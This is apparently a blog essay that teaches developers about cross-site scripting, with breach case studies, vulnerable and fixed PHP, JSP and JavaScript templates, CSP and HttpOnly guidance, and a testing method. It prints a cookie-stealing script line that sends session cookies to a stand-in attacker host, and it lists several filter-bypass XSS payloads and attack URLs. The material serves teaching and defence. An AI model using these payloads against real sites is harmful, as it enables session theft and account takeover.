KHAGAN AYDIN

OWASP 2013 A3: Cross-Site Scripting

Every page that prints user input is a page the attacker can help write.

· 11 min read

Cross-Site Scripting, or XSS, is a security vulnerability in which an application takes text it did not write and puts it into a page without encoding it, so the browser reads that text as code. It is number three on the 2013 OWASP Top 10. The code then runs in a victim’s browser, inside your site, with the victim’s session.

It is among the most common serious flaws in web applications, and it is often waved away as “just an alert box”. That is a mistake. A script running inside your page can do anything the user can do, read anything the user can see, and show the user anything it likes. Last month it forced Twitter to take one of its own apps offline.

What the bug is, in plain words

Your server builds pages by mixing your HTML with data, and the browser cannot tell the two apart. If a user’s comment contains <script>, and you print it as is, the browser runs it like any script you wrote.

There are three kinds, named by where the code travels.

Reflected. The payload is in the request and comes straight back in the response. The attacker sends the victim a link:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

and the page prints “Results for” followed by the query, unencoded. It runs once, for whoever clicks.

Stored. The payload is saved: a comment, a profile field, a product review, a file name, a support ticket. It runs for everyone who views it, with no link to click. When the viewers include administrators, the attacker gets their sessions.

DOM-based. The DOM, or Document Object Model, is the browser’s live copy of the page that scripts read and change. Here the server never sees the payload. The page’s own JavaScript reads something the attacker controls, usually part of the URL, and writes it into the page:

var name = decodeURIComponent(location.hash.substring(1));
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

The attacker’s link:

https://shop.example.com/welcome#<img src=x onerror=alert(document.domain)>

The part after #, the fragment, is never sent to the server, so server logs, filters and firewalls see a clean request. The bug and the attack live entirely in the browser.

What an attacker actually does with it

The alert box is a proof, not the goal. Real payloads do one of three things.

Steal the session. One line sends the cookie to the attacker:

<script>new Image().src='https://attacker.example/c?'+encodeURIComponent(document.cookie);</script>

Act as the user. The script sends requests from inside your page, with the user’s cookies attached automatically: change the account email to the attacker’s address, then use “forgot password” to keep the account. Or transfer funds, post messages, add an administrator.

Lie to the user. The script replaces the page with a login form that looks exactly like yours, on your real domain, with your real certificate, and posts the password to the attacker. Every check you taught users says the page is genuine, because it is.

Three cases

The MySpace worm, October 2005. A MySpace user found a way to put script into his profile. When someone viewed it, the code sent a friend request to its author, added a line of text to the viewer’s profile, and copied itself there, so every viewer became a carrier. Over one million users ran it within about 20 hours, and the site was forced offline. MySpace allowed some HTML in profiles and used a blacklist filter to strip dangerous parts. The author got past it by putting the script inside a CSS (Cascading Style Sheets) style attribute, which Internet Explorer executed, and splitting the blocked word “javascript” across two lines, which the filter missed and the browser ignored. He entered a plea agreement on a felony charge in January 2007. Root cause: a filter that tried to list every bad pattern instead of encoding output.

Twitter, September 2010. On September 21, 2010, a flaw on twitter.com let users put code into tweets that ran when a reader merely moved the mouse over a link. Thousands of accounts were soon posting tweets that spread themselves, opened pop-ups, or sent readers to other sites, including adult sites. Twitter patched it within a few hours. Third-party clients were not affected, because only the website’s own rendering was at fault. Root cause: the site turned URLs in a tweet into links without encoding them, so a crafted URL whose own quotation mark closed the href attribute could add an onmouseover event handler to the link’s HTML tag.

TweetDeck, June 11, 2014. TweetDeck, the Twitter-owned client, swapped certain characters, such as a heart symbol, for small images. A user noticed that when a tweet contained the heart, the tweet was no longer HTML-escaped. Then a tweet appeared with a short script inside that found the retweet button next to itself and clicked it. Every TweetDeck user who saw it retweeted it automatically, showing it to all of their followers. It forced retweets from more than 80,000 accounts, including a news account with over ten million followers. Twitter first told users to log out and back in, then took TweetDeck offline until a full fix was in place. Root cause: one rendering path, the code that swapped characters for images, put text into the page as HTML without encoding.

None of these needed a stolen cookie. The code ran as the user, inside the page. Keep that in mind when we reach HttpOnly.

Vulnerable and fixed templates

The fix is output encoding: convert the characters that mean something in the place you are writing to versions that only display. Which characters matter depends on that place, the context. This PHP template writes the same search term into four contexts:

Vulnerable code

<?php $q = $_GET['q']; ?>
<p>Results for <?php echo $q; ?></p>
<input type="text" name="q" value="<?php echo $q; ?>">
<script>var lastSearch = '<?php echo $q; ?>';</script>
<a href="<?php echo $user['website']; ?>">Website</a>

Fixed code

<?php
function h($s) {
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
function js($v) {
    return json_encode($v, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
}
function safe_url($url) {
    return preg_match('#^https?://#i', $url) ? $url : '#';
}
$q = isset($_GET['q']) ? (string) $_GET['q'] : '';
?>
<p>Results for <?php echo h($q); ?></p>
<input type="text" name="q" value="<?php echo h($q); ?>">
<script>var lastSearch = <?php echo js($q); ?>;</script>
<a href="<?php echo h(safe_url($user['website'])); ?>">Website</a>

Context by context:

  • HTML body. htmlspecialchars turns <, >, & and " into entities, and with ENT_QUOTES it also encodes '. Without ENT_QUOTES, single quotes pass through.
  • HTML attribute. The same function works only if the attribute is quoted. In value=<?php echo h($q); ?>, with no quotes, an input of x onmouseover=alert(1) adds an event handler using no character that htmlspecialchars changes.
  • JavaScript. json_encode produces a complete JavaScript string, quotes included, and the JSON_HEX flags encode <, >, & and quotes so the value cannot close the script element.
  • URL. Encoding cannot help here. javascript:alert(1) contains nothing that htmlspecialchars would touch, and clicking it runs the code. Check the scheme, allow only http and https, then encode for the attribute. For a value placed inside a URL, such as a query parameter, use rawurlencode first, then h().

One trap catches experienced developers. HTML encoding inside an event handler attribute does not protect you:

<button onclick="search('<?php echo h($q); ?>')">Again</button>

The browser decodes the attribute’s entities before it runs the JavaScript, so &#039; becomes a real quote again and the input breaks out of the string. Do not put data in event handler attributes. Put it in a data- attribute and read it from a script file.

JavaServer Pages (JSP) have the same problem and a common false belief. Expression Language output, ${...}, in a JSP page is not escaped:

Vulnerable code

<p>Results for <%= request.getParameter("q") %></p>
<p>Results for ${param.q}</p>
<script>var lastSearch = '${param.q}';</script>

Fixed code

<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %>
<p>Results for <c:out value="${param.q}"/></p>
<input type="text" name="q" value="${fn:escapeXml(param.q)}">
<div id="search" data-last="${fn:escapeXml(param.q)}"></div>
<script src="/js/search.js"></script>
// search.js
var lastSearch = document.getElementById('search').getAttribute('data-last');

<c:out> and fn:escapeXml encode the five characters that matter in HTML. For JavaScript, the fixed version avoids writing data into script at all: the value travels in an encoded attribute, and getAttribute returns the original text as a plain string. This works in any server language and removes the hardest context from your templates.

DOM-based: fix the sink

In browser code, the dangerous calls, often called sinks, are the ones that turn strings into HTML or code: innerHTML, outerHTML, document.write, eval, setTimeout with a string, and the jQuery library’s .html() and .append() given a string. The risky sources are anything the attacker can influence: location, document.referrer, window.name, messages from other windows, and data from your own server that originally came from users.

Fixed code

var name = decodeURIComponent(location.hash.substring(1));
var el = document.getElementById('greeting');
el.innerHTML = '';
el.appendChild(document.createTextNode('Hello, ' + name));

A text node is always text. In jQuery, use .text() instead of .html(). When you must build HTML, build elements and set their text and attributes one by one, and check URL schemes as on the server.

Why blacklist filters fail

The instinct is to strip <script> from input. The MySpace worm shows how that ends, and there are endless other routes:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</script>
<a href="jav&#x61;script:alert(1)">click</a>

The fourth beats any filter that removes <script> in a single pass: removal joins the outer pieces into a new tag. The fifth hides the scheme in an entity the browser decodes. A filter must know every browser quirk. The attacker needs one.

There is a deeper problem. Input filtering runs before you know where the data will be printed. An apostrophe is harmless in HTML and ends a JavaScript string. A value that is safe in a page may be dangerous in a URL. Only the output step knows the context, so that is where encoding belongs. Validate input for business reasons (a quantity is a number, a country is on the list), and encode on output for security.

When users genuinely need rich text, do not write your own filter. Parse the HTML with a maintained allow-list sanitizer that keeps only the tags and attributes you name, and checks every URL inside them.

HttpOnly and Content Security Policy

HttpOnly. A cookie marked HttpOnly cannot be read by JavaScript, so the one-line cookie theft above fails. Set it on every session cookie; the A2 essay covers how. But be clear about what it does not stop. The script still runs in the user’s session and can still send requests, read the page, and draw fake forms. Neither worm in the cases above needed a cookie. HttpOnly removes one payload, not the bug.

Content Security Policy (CSP). CSP is a response header that tells the browser which scripts it may run. The 1.0 specification became a Candidate Recommendation of the World Wide Web Consortium (W3C) in November 2012. A strict policy looks like this:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; report-uri /csp-report

With this policy the browser runs only script files loaded from your own origin. Inline <script> blocks, inline event handlers such as onerror, javascript: URLs and eval are all blocked, unless you add the 'unsafe-inline' or 'unsafe-eval' keywords, which undo most of the protection. Violations are sent to the report-uri, which gives you a free XSS detector.

The cost is moving every inline script and handler into files. Start with the Content-Security-Policy-Report-Only header, which reports without blocking, then enforce.

As of mid 2014, Chrome (since version 25), Firefox (since version 23) and Safari 7 honor the standard header. Internet Explorer 10 and 11 support only the sandbox directive, through a prefixed header, so those users get no script protection at all. And 'self' trusts every file served from your origin, including user uploads served there and any endpoint that echoes a callback name into script. CSP is a second layer for the day encoding is missed, not a replacement for it.

How to test your own application

  1. Map reflection. Send a unique marker with the characters that matter, then look at where it lands and what survived:
curl -s "https://app.example.com/search?q=zq7x%22%27%3C%3E" | grep -o ".\{0,60\}zq7x.\{0,8\}"

If < comes back raw in the page body, or " comes back raw inside an attribute, you have a likely XSS. Note the context of each hit: body, attribute, script or URL.

  1. Hunt stored XSS. Put markers in every field that is saved: names, addresses, comments, file names, uploaded file metadata. Then visit every page that shows them, including admin screens, reports, emails and exports. Admin views are where stored XSS does the most damage and gets the least testing.

  2. Hunt DOM XSS. Search your JavaScript for the sinks listed above and trace where each value comes from. Test fragments directly: #<img src=x onerror=alert(document.domain)>.

  3. Read the templates. In PHP, look for echo or <?= with no encoding call. In JSP, look for <%= and for ${ outside <c:out> or fn:escapeXml. If your template engine escapes by default, search for the calls that switch it off, and treat each as a finding until proven safe.

  4. Check the headers. Session cookies need HttpOnly. Add CSP in report-only mode and read what it reports for a week.

Automated scanners find many reflected bugs, fewer stored ones, and few DOM-based ones, so do not stop at the scan report.

Checklist

  • Encode every output for its context: body, attribute, JavaScript, URL.
  • Always quote attributes. Never put data in event handler attributes.
  • Pass data to JavaScript through encoded data- attributes or json_encode with the JSON_HEX flags.
  • Allow only http and https in user-supplied links.
  • In browser code, use text nodes and .text(), not innerHTML and .html().
  • Use an allow-list sanitizer for rich text. Never a blacklist.
  • HttpOnly on session cookies, and CSP with no 'unsafe-inline'.
  • Test stored values in every place they are displayed, admin pages first.

XSS stays on the list because every page that prints data is a new chance to forget. You can make encoding the default in every template, make the unsafe calls rare enough to review one by one, and put CSP behind them for the day someone slips. Then a heart in a tweet is just a heart.